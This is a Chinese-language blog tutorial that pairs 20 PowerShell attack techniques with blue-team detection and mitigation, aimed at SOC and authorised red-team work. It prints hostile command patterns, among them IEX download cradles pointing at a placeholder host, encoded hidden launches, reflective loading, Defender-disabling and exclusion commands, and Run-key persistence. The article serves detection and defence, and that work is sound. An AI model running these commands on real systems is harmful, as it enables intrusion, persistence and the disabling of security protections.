PowerShell 攻防:红队最爱用的 20 条命令与蓝队检测
2026/7/30 19:08:59 网站建设 项目流程

文章目录

      • 写在前面
    • 一、先把战场铺平:PowerShell 的可观测性
      • 1.1 必须开启的日志
      • 1.2 红队也懂日志,所以你会看到这些对抗
      • 1.3 合法基线要先建立
    • 二、红队最爱用的 20 条(类)命令与蓝队检测
      • 第 1 条:绕过执行策略 —— `-ExecutionPolicy Bypass`
      • 第 2 条:隐藏窗口 —— `-WindowStyle Hidden`
      • 第 3 条:编码命令 —— `-EncodedCommand` / `-enc`
      • 第 4 条:经典下载摇篮 —— `DownloadString` + `IEX`
      • 第 5 条:`Invoke-WebRequest` / `Invoke-RestMethod`
      • 第 6 条:`Invoke-Expression`(IEX)家族
      • 第 7 条:从 Base64 / 字节数组反射加载
      • 第 8 条:AMSI / 日志相关“软关闭”尝试
      • 第 9 条:本机侦察 —— `Get-Process` / `Get-Service` / `Get-ChildItem`
      • 第 10 条:权限与令牌勘察 —— `whoami` 的 PowerShell 等价
      • 第 11 条:WMI/CIM 信息收集与执行
      • 第 12 条:域侦察 —— AD 模块 / 目录查询
      • 第 13 条:WinRM 远程 —— `Enter-PSSession` / `Invoke-Command`
      • 第 14 条:凭据对象与明文密码出现在命令行
      • 第 15 条:计划任务 / 服务式持久化
      • 第 16 条:注册表 Run 键与启动项
      • 第 17 条:关掉或掏空 Defender —— `Set-MpPreference` / 排除项
      • 第 18 条:文件与共享 —— `New-PSDrive` / `Copy-Item` / `Get-Acl`
      • 第 19 条:沙箱逃逸式“活在别的宿主里”
      • 第 20 条:一句话“套娃” —— 从 cmd 再拉起 PowerShell
    • 三、把 20 条收成蓝队作战手册
      • 3.1 高置信度“组合拳”规则(推荐)
      • 3.2 分级响应
      • 3.3 狩猎查询思路(伪查询)
    • 四、红队视角:为什么“仍爱 PowerShell”
    • 五、架构级减伤:比规则更重要的六件事
    • 六、合法演练怎么组织
    • 七、结语
      • 附录:20 条速查表

写在前面

PowerShell 是微软给管理员的瑞士军刀,也是红队在 Windows 环境里最顺手的“活在内存里的指挥壳”。它不需要额外落地大型木马,就能完成:信息收集、下载执行、横向移动、权限维持、关掉防护、搬运凭据——而且大量操作看起来像“运维脚本”。

这造成一个尴尬事实:

蓝队若只按“黑名单杀 EXE”,会对 PowerShell 视而不见;
若简单“禁用 PowerShell”,又会把自动化运维一起打死。

正确做法是:允许合法管理,把异常用法变成高置信度检测

本文挑选红队(及真实入侵)中出现频率最高的20 类命令/用法,逐条说明:

  • 攻击者为什么用它
  • 典型命令形态(教学级,不含完整武器化载荷)
  • 蓝队看什么日志、打什么规则
  • 如何从架构上减伤

适用对象:蓝队、SOC、终端安全、授权红队、Windows 运维安全。
所有技术仅用于授权评估与防护建设;未授权对他人系统使用即违法。


一、先把战场铺平:PowerShell 的可观测性

没有日志的检测都是玄学。开始 20 条之前,先确认这四层已开:

1.1 必须开启的日志

日志作用
模块日志(Module Logging)记录加载的模块与部分管道活动
脚本块日志(Script Block Logging,Event ID 4104)记录实际执行的脚本块(含解码后的部分内容)
转录(Transcription,可选)类似会话录像,注意敏感信息与存储 ACL
进程创建审计 / Sysmon Event 1看到powershell.exe/pwsh.exe的命令行、父进程、用户、哈希
WinRM / 安全登录日志远程 PowerShell 的来源与账户

组策略位置(示意):

管理模板 → Windows 组件 → Windows PowerShell - 打开模块日志记录 - 打开 PowerShell 脚本块日志记录 - 打开 PowerShell 转录

1.2 红队也懂日志,所以你会看到这些对抗

  • -EncodedCommand/ Base64 混淆
  • 从剪贴板、环境变量、WMI 属性里拼出真正脚本
  • 调用powershell -Version 2(老环境)降低日志能力
  • InstallUtilmsbuildcsi等“非 powershell.exe”宿主跑 .NET(无文件)
  • 混淆、字符串拼接、反射加载

因此蓝队规则不能只写commandline contains DownloadString,还要看:父进程、用户身份、是否交互、是否远程、脚本块内容、网络目标、后续行为

1.3 合法基线要先建立

在告警风暴前,先回答:

  • 哪些服务器允许 WinRM?
  • 哪些账号会跑自动任务里的 PowerShell?
  • 软件分发是否用 SYSTEM 跑签名脚本?
  • 开发机是否允许无约束 PowerShell?

把“正常”画出来,“异常”才出得来。


二、红队最爱用的 20 条(类)命令与蓝队检测

说明:下列“典型形态”为教学示例,用于识别模式;生产环境请用企业检测平台落地,并配合变更白名单。


第 1 条:绕过执行策略 ——-ExecutionPolicy Bypass

红队用法

powershell.exe-NoProfile-ExecutionPolicy Bypass-File.\a.ps1 powershell.exe-ep bypass-nop-w hidden-c"..."

执行策略本来就不是安全边界(可绕过是设计现实),但红队几乎每次都会带-ep bypass -nop,因为省事。

蓝队检测

  • 命令行同时出现:bypass+hidden+nop/NoProfile
  • 父进程是 Office、浏览器、wscriptmshta、邮件客户端
  • 业务服务器上突然出现交互式 bypass

减伤

  • AppLocker/WDAC限制脚本,而不是迷信 ExecutionPolicy
  • powershell.exe命令行做基线:运维包装器允许,用户进程不允许

第 2 条:隐藏窗口 ——-WindowStyle Hidden

红队用法

powershell.exe-WindowStyle Hidden-c"..."

用户看不见黑框,配合持久化与远控极常见。

蓝队检测

  • -w hidden/-WindowStyle Hidden与网络下载、编码命令同现
  • 非 SYSTEM/非软件分发账号使用 hidden

减伤

  • 终端策略:标准用户禁止随意启动隐藏 PowerShell(可用 WDAC 发布者规则 + 路径规则组合)

第 3 条:编码命令 ——-EncodedCommand/-enc

红队用法

把脚本 Universal Binary Base64 后:

powershell.exe-enc <Base64Blob>

目的:躲简单字符串匹配、躲命令行审计里的明文关键词。

蓝队检测

  • 命令行含-enc/-EncodedCommand且后跟长 Base64
  • 不要停在这里:对 Base64 做解码后二次匹配(很多 EDR/SIEM 支持)
  • 对照 4104 脚本块日志,常能看到还原后的内容

减伤

  • 高价值系统:对-enc默认告警,仅白名单自动化账号例外
  • 强制脚本块日志,避免“只看见一串编码”

第 4 条:经典下载摇篮 ——DownloadString+IEX

红队用法(模式)

IEX(New-ObjectNet.WebClient).DownloadString('http://example/a.ps1')

这是过去十年被写进无数教程的“一句话加载”。现在常变形为:

  • DownloadData/DownloadFile
  • Invoke-WebRequest/Invoke-RestMethod
  • .NETHttpClient
  • 从磁盘/注册表/图片隐写读取后再IEX

蓝队检测

  • 脚本块/命令行出现:DownloadStringDownloadDataIEXInvoke-Expression
  • powershell.exe后立刻对公网 IP/新域名建立连接(Sysmon 3 / EDR 网络)
  • 证书/智能屏幕未覆盖的 HTTP 明文下载

减伤

  • 限制工作站出站到脚本托管类站点
  • ASR:阻止混淆脚本、阻止 Office 创建子进程
  • 对服务器默认禁止随意出站

第 5 条:Invoke-WebRequest/Invoke-RestMethod

红队用法

Invoke-WebRequesthttps://example/file-OutFile$env:TEMP\x.exeInvoke-RestMethodhttps://example/api|Invoke-Expression

更“现代”、更像运维,也常用于拉取第二阶段。

蓝队检测

  • IWR/IRM/Invoke-WebRequest写入%TEMP%%PUBLIC%、用户目录后立即执行
  • 非变更窗口的服务器发起外连下载

减伤

  • 软件安装只走分发系统;工作站启用 Network Protection / URL 过滤

第 6 条:Invoke-Expression(IEX)家族

红队用法

Invoke-Expression$code$code|IEX&([scriptblock]::Create($code))

本质:把字符串当代码跑,是无文件执行的枢纽。

蓝队检测

  • 4104 中出现Invoke-Expression/IEX/ScriptBlock::Create
  • 与拼接字符串、FromBase64String、反射加载连用时升为高危

减伤

  • Constrained Language Mode(与 WDAC 配合)可大幅削弱任意代码能力
  • 对服务器运维脚本:签名 + 受限语言,拒绝交互 IEX

第 7 条:从 Base64 / 字节数组反射加载

红队用法(模式)

$bytes=[Convert]::FromBase64String('...')[System.Reflection.Assembly]::Load($bytes)# 或 Add-Type、UnsafeLoad 等变体

用于加载 .NET 程序集,常接工具化能力(侦察、横向、票据等)。

蓝队检测

  • FromBase64String+Assembly.Load/Load(同脚本块
  • 随后出现异常网络、LSASS 访问、服务创建等

减伤

  • AMSI(Anti-Malware Scan Interface)对不少脚本阶段有效,勿随意关
  • 启用 Tamper Protection,防止攻击者关 AMSI/Defender
  • WDAC 限制可加载程序集

第 8 条:AMSI / 日志相关“软关闭”尝试

红队意图

在内存里绕过或削弱 AMSI、干扰脚本块日志(具体手法随补丁快速变化)。

蓝队检测

  • 脚本中出现对AmsiUtilsamsiInitFailed等敏感类型/字段的反射访问(高置信)
  • 短时间内 Defender/AMSI 功能状态被改
  • 4104 突然大量缺失却有 powershell 进程(日志完整性监控)

减伤

  • Tamper Protection + EDR 传感器双开
  • 把“禁用脚本日志 / 禁用实时监控”的注册表与策略更改做紧急告警

不在此展开绕过实现;防守重点是:改防护配置本身就是最高级告警


第 9 条:本机侦察 ——Get-Process/Get-Service/Get-ChildItem

红队用法

Get-ProcessGet-Service|Where-ObjectStatus-eq'Running'Get-ChildItemC:\Users-Recurse-Include*.config,*.xml,*.kdbx-ErrorAction SilentlyContinue

看似无害,实则在找:安全产品、可写服务、配置文件里的密码、浏览器目录等。

蓝队检测

  • 单次会话内高频枚举磁盘 + 敏感扩展名
  • 从 WebShell/未知父进程拉起的大规模Get-ChildItem -Recurse
  • 访问多个用户 Profile 的 ACL 异常

减伤

  • 敏感文件 ACL 收紧;密钥进保险库,不进共享目录明文
  • 对服务器禁止交互式登录到业务账户

第 10 条:权限与令牌勘察 ——whoami的 PowerShell 等价

红队用法

whoami/priv whoami/groups[Security.Principal.WindowsIdentity]::GetCurrent()|Format-ListGet-LocalGroupMemberAdministrators

决定下一步走服务劫持、令牌模拟还是要域管。

蓝队检测

  • 同一用户短时间执行whoami /priv、本地管理员枚举、网络探测
  • 来自应用池、IIS、SQL、CI 账户的 whoami/特权查询

减伤

  • 应用池账户剥离交互与无关特权
  • 对服务账户的特权使用审计

第 11 条:WMI/CIM 信息收集与执行

红队用法

Get-CimInstanceWin32_OperatingSystemGet-CimInstanceWin32_Service|SelectName,PathName,StartNameInvoke-CimMethod...# 远程创建等(需权限)Get-WmiObjectWin32_Process

既用于侦察(服务路径、杀软、补丁),也用于远程执行(Win32_Process.Create 等老手法)。

蓝队检测

  • 异常用户发起远程 WMI/CIM
  • 脚本块含Win32_Process+Create
  • 与横向目标列表同现

减伤

  • 限制远程 DCOM/WMI 管理入口到跳板
  • 优先 WinRM over HTTPS + JEA,而不是对全网开放 WMI

第 12 条:域侦察 —— AD 模块 / 目录查询

红队用法

Get-ADUser-Filter*-Properties*Get-ADComputer-Filter*Get-ADGroupMember"Domain Admins"# 无 RSAT 时用 DirectorySearcher / LDAP 查询等价信息

这是域内红队的“地图绘制”。BloodHound 类数据很多也来自类似枚举(不一定用纯 PowerShell)。

蓝队检测

  • 非 DC/非堡垒机账户短时间大量 LDAP 查询
  • 枚举Domain AdminsEnterprise Admins、SPN、ACL 异常读取
  • 工作站突发安装 RSAT 或加载 AD 模块

减伤

  • 监控 LDAP 搜索量与异常调用方
  • AdminSDHolder、特权组变更实时告警
  • 普通用户机器禁止安装管理工具包(按策略)

第 13 条:WinRM 远程 ——Enter-PSSession/Invoke-Command

红队用法

Enter-PSSession-ComputerName APP01Invoke-Command-ComputerName APP01,APP02-ScriptBlock{whoami}

这是最像正运维的横向方式,也是最难单靠字符串查杀的。

蓝队检测

  • 哪台打到哪些目标:来源是否为跳板
  • 非运维时间、非变更单账号的扇出式Invoke-Command
  • 远程脚本块内含下载、编码、关防护

减伤

  • WinRM 仅开放给管理子网;启用 HTTPS
  • JEA(Just Enough Administration)把远程能力缩到命令白名单
  • 特权账户只能从 PAW 发起

第 14 条:凭据对象与明文密码出现在命令行

红队用法(不良示范模式)

$p=ConvertTo-SecureString'P@ssw0rd'-AsPlainText-Force$c=New-ObjectPSCredential('domain\user',$p)Start-Processcmd-Credential$c

或直接把密码写进脚本、任务、DSC 配置。

蓝队检测

  • 命令行/脚本块出现-AsPlainText、明文密码模式
  • 任务计划程序 XML 中可逆密码
  • 代码仓库与共享盘扫描ConvertTo-SecureString

减伤

  • 强制用 gMSA、LAPS、密码库、证书认证
  • CI 密钥扫描;禁止明文进库
  • 对含-AsPlainText的 4104 默认高危(白名单签发脚本除外)

第 15 条:计划任务 / 服务式持久化

红队用法

Register-ScheduledTask...# 或以 schtasks 包装New-Service-Name'Updater'-BinaryPathName'...'sc.exe create...

PowerShell 负责“一次配置,长期复活”。

蓝队检测

  • 新增任务动作指向powershell -enc/ 用户 Temp 目录
  • SYSTEM 任务被非变更流程创建
  • 服务路径改为脚本解释器

减伤

  • 服务与任务变更进 SIEM
  • 任务目录 ACL;SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule 监控

第 16 条:注册表 Run 键与启动项

红队用法

New-ItemProperty-Path'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'`-Name'Sync'-Value'powershell -w hidden -enc ...'

用户级持久化,不需要管理员。

蓝队检测

  • Run/RunOnce 写入含 powershell/cmd/mshta/wscript
  • Sysmon 13 注册表事件 + 进程创建关联

减伤

  • 登录脚本与 Run 键基线对比
  • 用户无法写机器级 Run;HKCU 用行为检测兜底

第 17 条:关掉或掏空 Defender ——Set-MpPreference/ 排除项

红队用法

Set-MpPreference-DisableRealtimeMonitoring$trueAdd-MpPreference-ExclusionPath'C:\Tools'Add-MpPreference-ExclusionProcess'powershell.exe'

目标:让后续工具畅通无阻。现代系统有 Tamper Protection,会阻止部分本地关闭——于是攻击者改打排除项、策略、或先提权。

蓝队检测

  • 任何DisableRealtimeMonitoringDisableIOAVProtectionExclusionProcess含解释器
  • 排除路径变为整盘或\Users\*\AppData
  • 与本地管理员提权时间线吻合

减伤

  • Tamper Protection 强制开
  • 排除项仅中央策略下发,本地更改告警并回滚
  • 把“添加排除”当 P1 事件

第 18 条:文件与共享 ——New-PSDrive/Copy-Item/Get-Acl

红队用法

New-PSDrive-Name S-PSProvider FileSystem-Root'\\dc01\sysvol'Copy-Item\\jump\share\tools.ps1$env:TEMPGet-AclC:\Sensitive|Format-List

用于搬工具、读 SYSVOL 脚本(找密码)、评估是否能写服务目录。

蓝队检测

  • 工作站访问大量 UNC、尤其 SYSVOL/NETLOGON 后下载脚本
  • 敏感目录 ACL 枚举后紧接写入

减伤

  • SYSVOL 脚本禁止存密码(用 gMSA/密钥方案)
  • 文件服务器启用审计与 DLP

第 19 条:沙箱逃逸式“活在别的宿主里”

红队用法(概念)

不一定直接打powershell.exe,而是:

  • powershell_ise
  • pwsh(PowerShell 7)
  • 通过rundll32msbuildregsvr32、自定义 .NET 宿主执行等价能力

目的:躲只监控powershell.exe的规则。

蓝队检测

  • 以脚本块日志 / AMSI 为中心,而不是只盯进程名
  • 监控pwsh.exe与异常父进程
  • 对“办公进程 → 开发编译器 → 网络”链告警

减伤

  • WDAC:拒绝临时编译与未批准宿主
  • 开发工具仅安装在开发 OU

第 20 条:一句话“套娃” —— 从 cmd 再拉起 PowerShell

红队用法

cmd.exe /c powershell -nop -w hidden -ep bypass -c "IEX(...)"

或由 VBA、HTA、快捷方式、计划任务多层包装。
邮件钓鱼里极常见。

蓝队检测

  • 父进程链:outlook → winword → cmd → powershell
  • Office 子进程 ASR 规则命中
  • 命令行长度异常、含 URL、enc、IEX

减伤

  • ASR:阻止 Office 创建子进程
  • 宏仅签名;互联网宏禁用
  • 邮件沙箱与附件拆解

三、把 20 条收成蓝队作战手册

3.1 高置信度“组合拳”规则(推荐)

单点容易误报,组合更稳:

  1. Hidden + Bypass + EncodedCommand
  2. IEX + Download*
  3. FromBase64String + Assembly.Load
  4. Set-MpPreference 关闭防护 / 排除解释器
  5. Office/浏览器 为父进程的 powershell
  6. 非跳板机扇出 Invoke-Command
  7. 服务账户执行 whoami /priv + 网络扫描
  8. Run 键写入 powershell -enc

3.2 分级响应

级别例子动作
P1关 Defender、Load 反射 + LSASS 访问隔离主机、收内存与日志
P2下载摇篮、enc 长命令杀进程树、查持久化、强制扫描
P3域枚举过量禁账户、查来源、重置密码
信息运维跳板正常 Invoke-Command基线白名单

3.3 狩猎查询思路(伪查询)

查找 24h 内: Image IN (powershell.exe, pwsh.exe) AND ( CommandLine CONTAINS_ANY ('-enc','DownloadString','FromBase64String','Set-MpPreference') OR ParentImage CONTAINS_ANY ('winword','excel','outlook','mshta','wscript') ) AND User NOT IN (SoftwareDeploy, ApprovedAutomation)

再 join:

  • 同主机 Sysmon 网络出站
  • 4104 脚本块关键词
  • 随后 1 小时内服务/任务变更

四、红队视角:为什么“仍爱 PowerShell”

即使 EDR 很强,PowerShell 仍被爱用,因为:

  1. 环境原生:目标机器几乎都有。
  2. 管理协议复用:WinRM、WMI、AD,与运维同路。
  3. 内存友好:少落盘、易链式加载。
  4. 社交不违和:对日志不熟的单位,脚本流量像运维。
  5. 跨阶段复用:从钓鱼到域控,同一语言贯穿。

所以红队不会因为“有检测”就弃用,而会:

  • 换宿主、换编码、换下载通道、换合法账号;
  • 把操作拆进变更窗口;
  • 或改用 C#/BOF/系统自带二进制(LOLBins)。

蓝队的目标不是“让红队不用 PowerShell”,而是:用同样用 PowerShell 时,攻击成本显著高于运维成本


五、架构级减伤:比规则更重要的六件事

  1. 本地管理员收回 + LAPS
  2. WDAC/AppLocker + Constrained Language Mode(高价值系统)
  3. PowerShell 日志三件套 + 集中转发
  4. Tamper Protection + 排除项中央治理
  5. WinRM 仅跳板 + JEA
  6. ASR 对 Office/脚本链路 Block

规则是牙齿,架构是下颚。只有牙齿会咬空。


六、合法演练怎么组织

  1. 搭隔离域,开齐 4104 与 Sysmon。
  2. 红队只用清单内技术,禁止对真实外网下发恶意软件。
  3. 蓝队先盲猎,再对照红队时间线补规则。
  4. 每次演练输出:
    • 哪些命令被清晰捕获
    • 哪些只靠父进程链抓住
    • 哪些完全漏报(往往是合法账号+合法 WinRM)
  5. 把漏报转成 JEA/网络隔离任务,而不是无限加关键词。

七、结语

PowerShell 攻防的本质,不是背诵 20 条命令,而是理解:

它是管理平面的编程入口
红队爱它,因为入口已存在;蓝队怕它,因为入口与业务同构。

本文的 20 条,覆盖了从执行策略绕过、编码下载、反射加载,到域侦察、WinRM 横向、凭据与持久化、破坏防护的主路径。你可以立刻做三件极具体的事:

  1. 检查试点 OU 是否真正启用脚本块日志并已进入 SIEM;
  2. 写 5 条以上文“组合拳”规则,用历史日志回放;
  3. 给 WinRM 画一张“谁允许打谁”的图,把扇出式Invoke-Command变成默认可疑。

当命令行、脚本块、父进程、网络、防护配置变更能被串成故事时,PowerShell 就不再是红队的黑盒,而是蓝队最清晰的叙事线之一。


附录:20 条速查表

#红队手法蓝队第一眼
1-ExecutionPolicy Bypassbypass+异常父进程
2-WindowStyle Hiddenhidden+下载/enc
3-EncodedCommand-enc + 解码二次匹配
4DownloadString+IEX下载摇篮+出站
5Invoke-WebRequestTEMP 落地+执行
6Invoke-Expression4104 中 IEX
7Assembly.LoadBase64+反射
8削弱 AMSI/日志防护配置变更
9广谱文件枚举敏感扩展名递归
10whoami /priv服务账户侦察
11WMI/CIM远程创建进程
12AD 枚举LDAP 暴增
13Invoke-Command非跳板扇出
14明文SecureStringAsPlainText
15计划任务/服务动作含 powershell
16Run 键启动项写 enc
17Set-MpPreference关防护/宽排除
18UNC/SYSVOL 搬运异常共享访问
19非 powershell 宿主多宿主+AMSI
20cmd 套娃Office→cmd→ps

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询